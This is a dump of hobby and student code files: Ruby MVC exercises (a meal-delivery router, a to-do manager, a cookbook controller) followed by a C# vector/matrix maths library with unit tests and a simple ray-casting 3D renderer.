puts "What do you want to do?" puts "1-List all meals" puts "2-Add a meal" puts "3-List customers" puts "4-Add customer" puts "0-Exit" print "> " action = gets.chomp.to_i case action when 1 then @meals_controller.list when 2 then @meals_controller.add when 3 then @customers_controller.list when 4 then @customers_controller.add else action = 0 end end end end <file_sep>class Router def initialize(controller) @controller = controller end def run loop do print_menu action = gets.chomp.to_i result = dispatch(action) break if result == "break" end end def dispatch(user_choice) if user_choice == 1 @controller.tasks_list elsif user_choice == 2 @controller.create_task elsif user_choice == 3 @controller.mark_task_as_done elsif user_choice == 5 return "break" end end def print_menu puts "Que voulez-vous faire ?" puts "1. Afficher les tâches" puts "2. Créer une tâches" puts "3. Rayer une tâche" puts "4. Supprimer une tâche" puts "5. Je me casse les gars" puts "" end end <file_sep>require 'colorize' class Road # une route a une longueur, une largeur, un nom, un revêtement # on peut dessiner cette route (=behaviour) def initialize(length, width, name, color) @length = length @width = width @name = name @color = color end def display puts ("-"*@length).colorize(@color.to_sym) print "\n"*((@width-2)/2) puts (" -"*(@length/2)).colorize(@color.to_sym) print "\n"*((@width-2)/2) puts ("-"*@length).colorize(@color.to_sym) end end new_road = Road.new(75, 10, "Route 66", "yellow") <file_sep>class CustomerView def display(customers) puts puts "Customers list" customers.each do |customer| puts "#{customer.id} - #{customer.name} - #{customer.address}" end end def ask_for(item) puts puts "Which #{item}?" print ">" return gets.chomp end end <file_sep>require_relative "recipe" require_relative "view" require_relative "scraper" class Controller def initialize(cookbook) @cookbook = cookbook @view = View.new @scraper = Scraper.new end def list recipes = @cookbook.recipes @view.display_recipes(recipes, show_tested_mark: true) end def create name = @view.ask_user_for_recipe_name description = @view.ask_user_for_recipe_description difficulty = @view.ask_user_for_recipe_difficulty recipe = Recipe.new(name: name, description: description, difficulty: difficulty) if recipe.valid? @cookbook.add_recipe(recipe) else @view.say_dummy create end end def destroy list index = @view.ask_user_for_recipe_index @cookbook.remove_recipe(index) end def import_recipe ingredient = @view.ask_user_for_ingredient imported_recipes = @scraper.parse(ingredient) @view.display_recipes(imported_recipes) index = @view.ask_user_for_recipe_index imported_recipe = imported_recipes[index] @cookbook.add_recipe(imported_recipe) end def mark_as_done list index = @view.ask_user_for_recipe_index @cookbook.mark_recipe_as_done(index) end end <file_sep>class Router def initialize(meals_controller, customers_controller, sessions_controller) @meals_controller = meals_controller @customers_controller = customers_controller @sessions_controller = sessions_controller end def run # ask employee to sign in => sessions_controller puts '********************************************' puts ' Welcome' puts '********************************************' @employee = @sessions_controller.sign_in # check for employee role role = @employee.role while @employee if role == 'manager' menu_for_manager else menu_for_delivery_guy end end end def menu_for_manager puts puts "What do you want to do?" puts "1-List all meals" puts "2-Add a meal" puts "3-List customers" puts "4-Add customer" puts "0-Exit" print "> " action = gets.chomp.to_i case action when 1 then @meals_controller.list when 2 then @meals_controller.add when 3 then @customers_controller.list when 4 then @customers_controller.add when 0 then @employee = nil else puts puts 'this action does not exist, try anothe one' end end def menu_for_delivery_guy puts 'MENU FOR DELIVERY GUY' @employee = nil end end <file_sep>require_relative 'task_view' require_relative 'task' class TaskController def initialize (repository) @repository = repository @view = TaskView.new end def tasks_list @repository @view.display_task(tasks) end def create_task name = @view.ask_for_task_name deadline = @view.ask_for_deadline task = Task.new(name, deadline) @repository.add_task(task) end def mark_task_done tasks_list index = @view.ask_for_task_index task = @repository.find(index) task.mark_as_done! end end <file_sep># TODO Manager -- MODEL -- Task -> Representer ma donnée name (string) deadline (date) done (boolean) [Repository -> La liste de mes données (tasks)] -- VIEW -- View -> Afficher de la donnée -- CONTROLLER -- Controller -> Aller chercher la donnée et la fournir à la view # ------------ Router -> ... SRP - Single Responsibility Principle
f29927f618b0f83987184582980c6780b336e8db
[ "Markdown", "SQL", "Ruby" ]
45
Ruby
cedange32/cedange32
d616d918911108e747438cd447cc275629e07b74
5984535a843b005ef358f8b84630fbce8f64f297
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using TomsMathsLib; namespace TomsGraphicsProgram { public class Camera : AbstractWorldEntity { public float FieldOfView { get; set; } public float AspectRatio { get; set; } public float NearClipping { get; set; } public float FarClipping { get; set; } public Matrix4X4 projectionMatrix4X4() { return Matrix4X4.Projection(FieldOfView, AspectRatio, NearClipping, FarClipping); } public Matrix4X4 GetViewMatrix() { return Matrix4X4.View(Position, Rotation); } public Matrix4X4 WorldToScreenMatrix() { return projectionMatrix4X4() * GetViewMatrix(); } public Matrix4X4 ScreenToWorldMatrix() { return WorldToScreenMatrix().Inverse(); } public Vector3 ScreenToWorldPoint(float x, float y, float width, float height) { float Px = (2 * ((x + 0.5f) / width) - 1); float Py = (1 - 2 * ((y + 0.5f) / height)); return ScreenToWorldMatrix().MultiplyPoint(Px, Py, NearClipping); } } } <file_sep>using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; namespace TomsGraphicsProgram { public class Light : AbstractWorldEntity { public float Intensity { get; set; } public Color Color { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using TomsMathsLib; namespace TomsGraphicsProgram { public abstract class AbstractWorldEntity { // Auto properties for Mesh public Vector3 Position { get; set; } public Vector3 Rotation { get; set; } public Vector3 Scale { get; set; } // Getting the Martix for the Mesh public Matrix4X4 GetWorldMatrix() { return Matrix4X4.Trs(Position, Rotation, Scale); } } } <file_sep>using System; using Microsoft.VisualStudio.TestTools.UnitTesting; using TomsMathsLib; namespace TomsMathsLibTest { /// <summary> ///This is a test class for Vector2Test and is intended ///to contain all Vector2Test Unit Tests ///</summary> [TestClass()] public class Vector2Test { #region Additional test attributes // //You can use the following additional attributes as you write your tests: // //Use ClassInitialize to run code before running the first test in the class //[ClassInitialize()] //public static void MyClassInitialize(TestContext testContext) //{ //} // //Use ClassCleanup to run code after all tests in a class have run //[ClassCleanup()] //public static void MyClassCleanup() //{ //} // //Use TestInitialize to run code before running each test //[TestInitialize()] //public void MyTestInitialize() //{ //} // //Use TestCleanup to run code after each test has run //[TestCleanup()] //public void MyTestCleanup() //{ //} // #endregion /// <summary> ///A test for X ///</summary> [TestMethod()] public void XTest() { Vector2 target = new Vector2(2, 4); Assert.AreEqual(2, target.X); } /// <summary> ///A test for Y ///</summary> [TestMethod()] public void YTest() { Vector2 target = new Vector2(2, 4); Assert.AreEqual(4, target.Y); } /// <summary> ///A test for Vector2 Constructor ///</summary> [TestMethod()] public void Vector2ConstructorTest() { float x = 2; float y = 4; Vector2 target = new Vector2(x, y); Assert.AreEqual(x, target.X); Assert.AreEqual(y, target.Y); } /// <summary> ///A test for Magnitude ///</summary> [TestMethod()] public void MagnitudeTest() { Vector2 target = new Vector2(3, 4); float expected = (float)Math.Sqrt(25); float actual = target.Magnitude; Assert.AreEqual(expected, actual); } /// <summary> ///A test for GetNormalized ///</summary> [TestMethod()] public void GetNormalizedTest() { Vector2 target = new Vector2(3, 4); float actual = target.GetNormalized().Magnitude; Assert.AreEqual(1, actual); } /// <summary> ///A test for DotProduct ///</summary> [TestMethod()] public void DotProductTest() { Vector2 forward = new Vector2(0, 1); Vector2 back = new Vector2(0, -1); Vector2 right = new Vector2(1, 0); Vector2 left = new Vector2(-1, 0); Assert.AreEqual(1, forward.DotProduct(forward)); Assert.AreEqual(-1, forward.DotProduct(back)); Assert.AreEqual(0, forward.DotProduct(right)); Assert.AreEqual(0, forward.DotProduct(left)); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using TomsMathsLib; namespace TomsGraphicsProgram { public struct Ray { private readonly Vector3 m_Direction; private readonly Vector3 m_StartPosition; public Vector3 Direction {get { return m_Direction; }} public Vector3 StartDirection {get { return m_StartPosition; }} /// <summary> /// Ray Constructor /// </summary> /// <param name="startPosition"></param> /// <param name="Direction"></param> public Ray(Vector3 startPosition, Vector3 Direction) { m_StartPosition = startPosition; m_Direction = Direction.GetNormalized(); } /// <summary> /// Returns true if the ray intersects the given triangle. /// </summary> /// <param name="a"></param> /// <param name="b"></param> /// <param name="c"></param> /// <param name="intersect"></param> /// <returns></returns> public bool IntersectsTriangle(Vector3 a, Vector3 b, Vector3 c, out Vector3 intersect) { intersect = default(Vector3); Vector3 near = m_StartPosition; Vector3 far = m_StartPosition + m_Direction * float.MaxValue; Vector3 normal = Vector3.CrossProduct(b - a, c - a); // Find distance from La and Lb to the plane defined by the triangle float dist1 = (near - a).DotProduct(normal); float dist2 = (far - a).DotProduct(normal); // line doesn't cross the triangle. if ((dist1 * dist2) >= 0.0f) return false; // line and plane are parallel if (dist1 == dist2) return false; // Find point on the line that intersects with the plane intersect = near + (far - near) * (-dist1 / (dist2 - dist1)); // Find if the interesection point lies inside the triangle by testing it against all edges Vector3 vTest = normal.Cross(b - a); if (vTest.DotProduct(intersect - a) < 0.0f) return false; vTest = normal.Cross(c - b); if (vTest.DotProduct(intersect - b) < 0.0f) return false; vTest = normal.Cross(a - c); if (vTest.DotProduct(intersect - a) < 0.0f) return false; return true; } } } <file_sep>using System; using Microsoft.VisualStudio.TestTools.UnitTesting; using TomsMathsLib; namespace TomsMathsLibTest { /// <summary> ///This is a test class for Vector3Test and is intended ///to contain all Vector3Test Unit Tests ///</summary> [TestClass] public class Vector3Test { /// <summary> ///A test for Z ///</summary> [TestMethod] public void ZTest() { Vector3 target = new Vector3(2, 4, 6); Assert.AreEqual(6, target.Z); } /// <summary> ///A test for Y ///</summary> [TestMethod] public void YTest() { Vector3 target = new Vector3(2, 4, 6); Assert.AreEqual(4, target.Y); } /// <summary> ///A test for X ///</summary> [TestMethod] public void XTest() { Vector3 target = new Vector3(2, 4, 6); Assert.AreEqual(2, target.X); } /// <summary> ///A test for Vector3 Constructor ///</summary> [TestMethod] public void Vector3ConstructorTest() { float x = 2; float y = 4; float z = 6; Vector3 target = new Vector3(x, y, z); Assert.AreEqual(x, target.X); Assert.AreEqual(y, target.Y); Assert.AreEqual(z, target.Z); } /// <summary> ///A test for Magnitude ///</summary> [TestMethod] public void MagnitudeTest() { Vector3 target = new Vector3(3, 4, 5); float expected = (float)Math.Sqrt(50); float actual = target.Magnitude; Assert.AreEqual(expected, actual); } /// <summary> ///A test for GetNormalized ///</summary> [TestMethod] public void GetNormalizedTest() { Vector3 target = new Vector3(3, 4, 5); float actual = target.GetNormalized().Magnitude; Assert.AreEqual(1, actual); } /// <summary> ///A test for DotProduct ///</summary> [TestMethod] public void DotProductTest() { Vector3 forward = new Vector3(0, 0, 1); Vector3 back = new Vector3(0, 0, -1); Vector3 right = new Vector3(1, 0, 0); Vector3 left = new Vector3(-1, 0, 0); Assert.AreEqual(1, forward.DotProduct(forward)); Assert.AreEqual(-1, forward.DotProduct(back)); Assert.AreEqual(0, forward.DotProduct(right)); Assert.AreEqual(0, forward.DotProduct(left)); } /// <summary> ///A test for op_Addition ///</summary> [TestMethod] public void op_AdditionTest() { Vector3 v1 = new Vector3(2, 2, 2); Vector3 v2 = new Vector3(1, 1, 1); Vector3 expected = new Vector3(3, 3, 3); Vector3 actual = (v1 + v2); Assert.AreEqual(expected, actual); } /// <summary> ///A test for op_Subtraction ///</summary> [TestMethod] public void op_SubtractionTest() { Vector3 v1 = new Vector3(1, 1, 1); Vector3 v2 = new Vector3(2, 2, 2); Vector3 expected = new Vector3(-1, -1, -1); Vector3 actual = (v1 - v2); Assert.AreEqual(expected, actual); } } } <file_sep>using System; namespace TomsMathsLib { /// <summary> /// Left handed 4x4 matrix for vector transformations. /// </summary> public class Matrix4X4 { private readonly float[] m_Values; #region Constructors /// <summary> /// Constructor. /// </summary> public Matrix4X4() { m_Values = new float[4 * 4]; } /// <summary> /// Creates an identity matrix. /// </summary> /// <returns></returns> public static Matrix4X4 Identity() { Matrix4X4 output = new Matrix4X4(); for (int index = 0; index < 4; index++) output[index, index] = 1.0f; return output; } /// <summary> /// Creates a translation matrix. /// </summary> /// <param name="x"></param> /// <param name="y"></param> /// <param name="z"></param> /// <returns></returns> public static Matrix4X4 Translation(float x, float y, float z) { Matrix4X4 output = Identity(); output[0, 3] = x; output[1, 3] = y; output[2, 3] = z; return output; } /// <summary> /// Creates a translation matrix. /// </summary> /// <param name="translation"></param> /// <returns></returns> public static Matrix4X4 Translation(Vector3 translation) { return Translation(translation.X, translation.Y, translation.Z); } /// <summary> /// Creates a scale matrix. /// </summary> /// <param name="x"></param> /// <param name="y"></param> /// <param name="z"></param> /// <returns></returns> public static Matrix4X4 Scale(float x, float y, float z) { Matrix4X4 output = Identity(); output[0, 0] = x; output[1, 1] = y; output[2, 2] = z; return output; } /// <summary> /// Creates a scale matrix. /// </summary> /// <param name="scale"></param> /// <returns></returns> public static Matrix4X4 Scale(Vector3 scale) { return Scale(scale.X, scale.Y, scale.Z); } /// <summary> /// Creates a rotation matrix. /// </summary> /// <param name="pitch"></param> /// <param name="yaw"></param> /// <param name="roll"></param> /// <returns></returns> public static Matrix4X4 Rotation(float pitch, float yaw, float roll) { float cosPitch = (float)Math.Cos(pitch); float sinPitch = (float)Math.Sin(pitch); float cosYaw = (float)Math.Cos(yaw); float sinYaw = (float)Math.Sin(yaw); float cosRoll = (float)Math.Cos(roll); float sinRoll = (float)Math.Sin(roll); Matrix4X4 x = Identity(); x[1, 1] = cosPitch; x[1, 2] = -sinPitch; x[2, 1] = sinPitch; x[2, 2] = cosPitch; Matrix4X4 y = Identity(); y[0, 0] = cosYaw; y[0, 2] = sinYaw; y[2, 0] = -sinYaw; y[2, 2] = cosYaw; Matrix4X4 z = Identity(); z[0, 0] = cosRoll; z[0, 1] = -sinRoll; z[1, 0] = sinRoll; z[1, 1] = cosRoll; return z * y * x; } /// <summary> /// Creates a rotation matrix. /// </summary> /// <param name="rotation"></param> /// <returns></returns> public static Matrix4X4 Rotation(Vector3 rotation) { return Rotation(rotation.X, rotation.Y, rotation.Z); } /// <summary> /// Creates a translation, rotation and scale matrix. /// </summary> /// <param name="translation"></param> /// <param name="rotation"></param> /// <param name="scale"></param> /// <returns></returns> public static Matrix4X4 Trs(Vector3 translation, Vector3 rotation, Vector3 scale) { Matrix4X4 translationMatrix = Translation(translation); Matrix4X4 rotationMatrix = Rotation(rotation); Matrix4X4 scaleMatrix = Scale(scale); return translationMatrix * rotationMatrix * scaleMatrix; } /// <summary> /// Returns a camera view matrix. /// </summary> /// <param name="position"></param> /// <param name="rotation"></param> /// <returns></returns> public static Matrix4X4 View(Vector3 position, Vector3 rotation) { Matrix4X4 trans = Translation(-position); Matrix4X4 rot = Rotation(-rotation); // Move then rotate. return rot * trans; } /// <summary> /// Create an orthographic projection matrix. /// </summary> /// <param name="width"></param> /// <param name="height"></param> /// <param name="near"></param> /// <param name="far"></param> /// <returns></returns> public static Matrix4X4 Orthographic(float width, float height, float near, float far) { Matrix4X4 output = Identity(); output[0, 0] = 1 / width; output[1, 1] = 1 / height; output[2, 2] = -2 / (far - near); output[2, 3] = -(far + near) / (far - near); return output; } public static Matrix4X4 Projection(float fov, float aspect, float nearDist, float farDist) { Matrix4X4 output = Identity(); float frustumDepth = farDist - nearDist; float oneOverDepth = 1 / frustumDepth; output[1, 1] = 1 / (float)Math.Tan(0.5f * fov); output[0, 0] = output[1, 1] / aspect; output[2, 2] = farDist * oneOverDepth; output[3, 2] = (-farDist * nearDist) * oneOverDepth; output[2, 3] = 1; output[3, 3] = 0; return output; } #endregion #region Methods /// <summary> /// Returns the inverse of the matrix. /// </summary> /// <returns></returns> public Matrix4X4 Inverse() { var s0 = this[0, 0] * this[1, 1] - this[1, 0] * this[0, 1]; var s1 = this[0, 0] * this[1, 2] - this[1, 0] * this[0, 2]; var s2 = this[0, 0] * this[1, 3] - this[1, 0] * this[0, 3]; var s3 = this[0, 1] * this[1, 2] - this[1, 1] * this[0, 2]; var s4 = this[0, 1] * this[1, 3] - this[1, 1] * this[0, 3]; var s5 = this[0, 2] * this[1, 3] - this[1, 2] * this[0, 3]; var c5 = this[2, 2] * this[3, 3] - this[3, 2] * this[2, 3]; var c4 = this[2, 1] * this[3, 3] - this[3, 1] * this[2, 3]; var c3 = this[2, 1] * this[3, 2] - this[3, 1] * this[2, 2]; var c2 = this[2, 0] * this[3, 3] - this[3, 0] * this[2, 3]; var c1 = this[2, 0] * this[3, 2] - this[3, 0] * this[2, 2]; var c0 = this[2, 0] * this[3, 1] - this[3, 0] * this[2, 1]; // Should check for 0 determinant var invdet = 1.0f / (s0 * c5 - s1 * c4 + s2 * c3 + s3 * c2 - s4 * c1 + s5 * c0); var b = new Matrix4X4(); b[0, 0] = (this[1, 1] * c5 - this[1, 2] * c4 + this[1, 3] * c3) * invdet; b[0, 1] = (-this[0, 1] * c5 + this[0, 2] * c4 - this[0, 3] * c3) * invdet; b[0, 2] = (this[3, 1] * s5 - this[3, 2] * s4 + this[3, 3] * s3) * invdet; b[0, 3] = (-this[2, 1] * s5 + this[2, 2] * s4 - this[2, 3] * s3) * invdet; b[1, 0] = (-this[1, 0] * c5 + this[1, 2] * c2 - this[1, 3] * c1) * invdet; b[1, 1] = (this[0, 0] * c5 - this[0, 2] * c2 + this[0, 3] * c1) * invdet; b[1, 2] = (-this[3, 0] * s5 + this[3, 2] * s2 - this[3, 3] * s1) * invdet; b[1, 3] = (this[2, 0] * s5 - this[2, 2] * s2 + this[2, 3] * s1) * invdet; b[2, 0] = (this[1, 0] * c4 - this[1, 1] * c2 + this[1, 3] * c0) * invdet; b[2, 1] = (-this[0, 0] * c4 + this[0, 1] * c2 - this[0, 3] * c0) * invdet; b[2, 2] = (this[3, 0] * s4 - this[3, 1] * s2 + this[3, 3] * s0) * invdet; b[2, 3] = (-this[2, 0] * s4 + this[2, 1] * s2 - this[2, 3] * s0) * invdet; b[3, 0] = (-this[1, 0] * c3 + this[1, 1] * c1 - this[1, 2] * c0) * invdet; b[3, 1] = (this[0, 0] * c3 - this[0, 1] * c1 + this[0, 2] * c0) * invdet; b[3, 2] = (-this[3, 0] * s3 + this[3, 1] * s1 - this[3, 2] * s0) * invdet; b[3, 3] = (this[2, 0] * s3 - this[2, 1] * s1 + this[2, 2] * s0) * invdet; return b; } /// <summary> /// Gets the value at the given row and column. /// </summary> /// <param name="row"></param> /// <param name="column"></param> /// <returns></returns> public float this[int row, int column] { get { int index = row * 4 + column; return m_Values[index]; } set { int index = row * 4 + column; m_Values[index] = value; } } /// <summary> /// Handles matrix multiplication. /// </summary> /// <param name="m1"></param> /// <param name="m2"></param> /// <returns></returns> public static Matrix4X4 operator *(Matrix4X4 m1, Matrix4X4 m2) { Matrix4X4 output = new Matrix4X4(); for (int row = 0; row < 4; row++) { for (int column = 0; column < 4; column++) { for (int offset = 0; offset < 4; offset++) output[row, column] += m1[row, offset] * m2[offset, column]; } } return output; } /// <summary> /// Transforms the position vector. /// </summary> /// <param name="x"></param> /// <param name="y"></param> /// <param name="z"></param> /// <returns></returns> public Vector3 MultiplyPoint(float x, float y, float z) { return Multiply(x, y, z, 1); } /// <summary> /// Transforms the position vector. /// </summary> /// <param name="point"></param> /// <returns></returns> public Vector3 MultiplyPoint(Vector3 point) { return MultiplyPoint(point.X, point.Y, point.Z); } /// <summary> /// Transforms the direction vector. /// </summary> /// <param name="x"></param> /// <param name="y"></param> /// <param name="z"></param> /// <returns></returns> public Vector3 MultiplyDirection(float x, float y, float z) { return Multiply(x, y, z, 0); } /// <summary> /// Transforms the direction vector. /// </summary> /// <param name="direction"></param> /// <returns></returns> public Vector3 MultiplyDirection(Vector3 direction) { return MultiplyDirection(direction.X, direction.Y, direction.Z); } #endregion /// <summary> /// Multiplies the matrix with the given vector. /// </summary> /// <param name="x"></param> /// <param name="y"></param> /// <param name="z"></param> /// <param name="w"></param> /// <returns></returns> private Vector3 Multiply(float x, float y, float z, float w) { float outX = this[0, 0] * x + this[0, 1] * y + this[0, 2] * z + this[0, 3] * w; float outY = this[1, 0] * x + this[1, 1] * y + this[1, 2] * z + this[1, 3] * w; float outZ = this[2, 0] * x + this[2, 1] * y + this[2, 2] * z + this[2, 3] * w; float outW = this[3, 0] * x + this[3, 1] * y + this[3, 2] * z + this[3, 3] * w; outX /= outW; outY /= outW; outZ /= outW; return new Vector3(outX, outY, outZ); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Text; using TomsMathsLib; namespace TomsGraphicsProgram { public class Mesh : AbstractWorldEntity { // Backing Fields private readonly List<Vector3> m_Verts; private readonly List<int> m_Triangles; // Constructor for Mesh public Mesh() { m_Verts = new List<Vector3>(); m_Triangles = new List<int>(); } // Setting Verts which are the Mesh public void SetVerts(IEnumerable<Vector3> verts) { m_Verts.Clear(); m_Verts.AddRange(verts); } // Getting the Verts from the Mesh public Vector3[] GetVertices() { return m_Verts.ToArray(); } // Setting triangles within the Mesh public void SetTriangles(IEnumerable<int> triangles) { m_Triangles.Clear(); m_Triangles.AddRange(triangles); } // Getting the Triangles from the Mesh public int[] GetTriangles() { return m_Triangles.ToArray(); } } } <file_sep>using System; using System.Collections.Generic; using System.Drawing; using System.Windows.Forms; using TomsMathsLib; namespace TomsGraphicsProgram { public partial class MainForm : Form { private readonly Bitmap m_Bitmap; private readonly Camera m_Camera; private readonly List<Mesh> m_Meshes; private readonly List<Light> m_Lights; /// <summary> /// Constructor. /// </summary> public MainForm() { m_Meshes = new List<Mesh>(); m_Lights = new List<Light>(); InitializeComponent(); m_Bitmap = new Bitmap(ClientSize.Width, ClientSize.Height); // Creating Cube geometry with Vertices List<Vector3> vertices = new List<Vector3>(); // Top vertices.Add(new Vector3(0.5f, 0.5f, 0.5f)); vertices.Add(new Vector3(0.5f, -0.5f, 0.5f)); vertices.Add(new Vector3(-0.5f, 0.5f, 0.5f)); vertices.Add(new Vector3(-0.5f, -0.5f, 0.5f)); // Bottom vertices.Add(new Vector3(0.5f, 0.5f, -0.5f)); vertices.Add(new Vector3(0.5f, -0.5f, -0.5f)); vertices.Add(new Vector3(-0.5f, 0.5f, -0.5f)); vertices.Add(new Vector3(-0.5f, -0.5f, -0.5f)); // List of vert indices for the triangles List<int> triangles = new List<int>(); triangles.Add(0); triangles.Add(1); triangles.Add(2); triangles.Add(1); triangles.Add(2); triangles.Add(3); triangles.Add(4); triangles.Add(5); triangles.Add(6); triangles.Add(5); triangles.Add(6); triangles.Add(7); triangles.Add(4); triangles.Add(0); triangles.Add(5); triangles.Add(5); triangles.Add(0); triangles.Add(1); triangles.Add(6); triangles.Add(2); triangles.Add(7); triangles.Add(7); triangles.Add(2); triangles.Add(3); triangles.Add(4); triangles.Add(6); triangles.Add(2); triangles.Add(4); triangles.Add(2); triangles.Add(0); triangles.Add(5); triangles.Add(7); triangles.Add(3); triangles.Add(3); triangles.Add(1); triangles.Add(5); // Creating a Mesh Mesh cube = new Mesh(); cube.SetVerts(vertices); cube.SetTriangles(triangles); cube.Position = new Vector3(); cube.Rotation = new Vector3(MathUtils.DegreesToRadians(45), MathUtils.DegreesToRadians(45), MathUtils.DegreesToRadians(20)); cube.Scale = (Vector3.One() * 1.5f); m_Meshes.Add(cube); // Create a Light Light light = new Light(); light.Position = new Vector3(5, 5, 5); light.Color = Color.Red; // Matrices m_Camera = new Camera(); m_Camera.Position = new Vector3(0, 0, -20); m_Camera.NearClipping = 0.1f; m_Camera.FarClipping = 1000.0f; m_Camera.AspectRatio = 1.0f; m_Camera.FieldOfView = 80.0f; } /// <summary> /// Destructor. /// </summary> ~MainForm() { m_Bitmap.Dispose(); } /// <summary> /// Called to repaint the form. /// </summary> /// <param name="e"></param> protected override void OnPaint(PaintEventArgs e) { base.OnPaint(e); Render(); e.Graphics.DrawImage(m_Bitmap, 0, 0); } private void timer1_Tick(object sender, EventArgs e) { //Draw to the memory and force the form to be repainted every 10 milliseconds //Render(); //Invalidate(); } private void Render() { /* m_Cube.Rotation += new Vector3(0, MathUtils.DegreesToRadians(25), 0); this.Text = string.Format("{0} {1} {2}", m_Cube.Rotation.X, m_Cube.Rotation.Y, m_Cube.Rotation.Z); for (int x = 0; x < ClientSize.Width; x++) { for (int y = 0; y < ClientSize.Height; y++) { Color color = Color.Black; m_Bitmap.SetPixel(x, y, color); } } m_Bitmap.DrawMesh(m_Projection, m_Camera, m_Cube, Color.Azure);*/ for (int x = 0; x < ClientSize.Width; x++) { for (int y = 0; y < ClientSize.Height; y++) { // Step 1 - compute primary ray direction for pixel Vector3 rayPosition = m_Camera.ScreenToWorldPoint(x, y, ClientSize.Width, ClientSize.Height); Vector3 rayDirection = (rayPosition - m_Camera.Position).GetNormalized(); Ray ray = new Ray(m_Camera.Position, rayDirection); // Step 2 - find closest intersection of ray with meshes float near = float.MaxValue; foreach (Mesh mesh in m_Meshes) { int[] triangles = mesh.GetTriangles(); Vector3[] verts = mesh.GetVertices(); for (int index = 0; index < triangles.Length; index += 3) { Vector3 vert1 = mesh.GetWorldMatrix().MultiplyPoint(verts[triangles[index]]); Vector3 vert2 = mesh.GetWorldMatrix().MultiplyPoint(verts[triangles[index + 1]]); Vector3 vert3 = mesh.GetWorldMatrix().MultiplyPoint(verts[triangles[index + 2]]); Vector3 intersect; if (!ray.IntersectsTriangle(vert1, vert2, vert3, out intersect)) continue; float distance = (intersect - m_Camera.Position).Magnitude; if (distance < near) near = distance; m_Bitmap.SetPixel(x, y, Color.Red); } } // Step 3 - get illumination of pixel (ray from pixel to lights) // Step 4 - draw the pixel //m_Bitmap.SetPixel(x, y, color); } } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace TomsMathsLib { public static class MathUtils { /// <summary> /// Pythagoras Theory /// </summary> /// <param name="x"></param> /// <param name="y"></param> /// <returns></returns> public static float Pythagoras(float x, float y) { float xSquared = x * x; float ySquared = y * y; float z = (float)Math.Sqrt(xSquared + ySquared); return z; } /// <summary> /// Converting Degress to Radians /// </summary> /// <param name="degrees"></param> /// <returns></returns> public static float DegreesToRadians(float degrees) { return (float)(degrees / 180 * Math.PI); } } } <file_sep>using TomsMathsLib; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace TomsMathsLibTest { /// <summary> ///This is a test class for Matrix4X4Test and is intended ///to contain all Matrix4X4Test Unit Tests ///</summary> [TestClass()] public class Matrix4X4Test { /// <summary> ///A test for Inverse ///</summary> [TestMethod()] public void InverseTest() { Matrix4X4 transform = Matrix4X4.Translation(5, 10, 5); Matrix4X4 inverse = transform.Inverse(); Vector3 position = transform.MultiplyPoint(new Vector3()); Vector3 origin = inverse.MultiplyPoint(position); Assert.AreEqual(new Vector3(), origin); } } } <file_sep>using System; using System.Collections.Generic; using System.Collections.Specialized; using System.Drawing; using System.Linq; using System.Security.Cryptography.X509Certificates; using System.Text; using TomsMathsLib; namespace TomsGraphicsProgram { public static class BitmapExtension { public static void SetPixel(this Bitmap extends, Vector2 postion , Color color) { int x = (int)postion.X; int y = (int)postion.Y; if (x < 0 || x >= extends.Width) return; if (y < 0 || y >= extends.Height) return; extends.SetPixel(x, y, color); } public static void DrawLine(this Bitmap myBitmap, Vector2 start, Vector2 end, Color color) { if (start == end) { myBitmap.SetPixel(start, color); return; } Vector2 midPoint = new Vector2(); midPoint = (start + end) / 2; DrawLine(myBitmap, start, midPoint, color); DrawLine(myBitmap, midPoint, end, color); } public static void DrawMesh(this Bitmap myBitmap, Matrix4X4 projectionMatrix, Matrix4X4 cameraMatrix, Mesh mesh, Color color) { Matrix4X4 finalMatrix = projectionMatrix * cameraMatrix * mesh.GetWorldMatrix(); int[] triangles = mesh.GetTriangles(); Vector3[] vertices = mesh.GetVertices(); for (int index = 0; index < triangles.Length; index += 3) { Vector3 vert1 = vertices[triangles[index]]; Vector3 vert2 = vertices[triangles[index + 1]]; Vector3 vert3 = vertices[triangles[index + 2]]; DrawTriangle(myBitmap, finalMatrix, vert1, vert2, vert3, color); } } public static void DrawTriangle(this Bitmap myBitmap, Matrix4X4 final, Vector3 v1, Vector3 v2, Vector3 v3, Color color) { Vector2 point1 = ToBitmapSpace(myBitmap, final, v1); Vector2 point2 = ToBitmapSpace(myBitmap, final, v2); Vector2 point3 = ToBitmapSpace(myBitmap, final, v3); SortTriangleInY(ref point1, ref point2, ref point3); Vector2 point4 = new Vector2((int)(point1.X + ((point2.Y - point1.Y) / (point3.Y - point1.Y)) * (point3.X - point1.X)), point2.Y); FillBottomFlatTriangle(myBitmap, point1, point2, point4, color); FillTopFlatTriangle(myBitmap, point2, point4, point3, color); myBitmap.DrawLine(point1, point2, Color.Black); myBitmap.DrawLine(point2, point3, Color.Black); myBitmap.DrawLine(point3, point1, Color.Black); } private static void FillBottomFlatTriangle(this Bitmap myBitmap, Vector2 v1, Vector2 v2, Vector2 v3, Color color) { float invslope1 = (v2.X - v1.X) / (v2.Y - v1.Y); float invslope2 = (v3.X - v1.X) / (v3.Y - v1.Y); float curx1 = v1.X; float curx2 = v1.X; for (int scanlineY = (int)v1.Y; scanlineY <= v2.Y; scanlineY++) { myBitmap.DrawLine(new Vector2(curx1, scanlineY), new Vector2(curx2, scanlineY), color); curx1 += invslope1; curx2 += invslope2; } } private static void FillTopFlatTriangle(this Bitmap myBitmap, Vector2 v1, Vector2 v2, Vector2 v3, Color color) { float invslope1 = (v3.X - v1.X) / (v3.Y - v1.Y); float invslope2 = (v3.X - v2.X) / (v3.Y - v2.Y); float curx1 = v3.X; float curx2 = v3.X; for (int scanlineY = (int)v3.Y; scanlineY > v1.Y; scanlineY--) { myBitmap.DrawLine(new Vector2(curx1, scanlineY), new Vector2(curx2, scanlineY), color); curx1 -= invslope1; curx2 -= invslope2; } } /// <summary> /// Returns the triangle A, B, C in order of Y axis. /// </summary> /// <param name="a"></param> /// <param name="b"></param> /// <param name="c"></param> private static void SortTriangleInY(ref Vector2 a, ref Vector2 b, ref Vector2 c) { List<Vector2> pointsSortedOnYList = new List<Vector2>(); pointsSortedOnYList.Add(a); 